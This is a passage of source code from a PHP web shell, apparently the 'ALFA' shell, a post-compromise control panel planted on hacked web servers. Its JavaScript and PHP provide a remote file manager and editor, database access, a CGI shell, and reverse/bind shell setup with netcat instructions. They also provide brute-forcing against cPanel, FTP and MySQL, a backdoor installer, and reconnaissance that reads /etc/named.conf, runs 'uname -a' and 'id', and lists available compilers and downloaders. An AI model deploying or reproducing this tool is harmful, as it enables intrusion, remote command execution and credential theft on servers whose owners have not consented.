i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
<div id='a_loader'><img src='".__showicon('loader')."'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="alfa'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(alfaEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo alfaEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
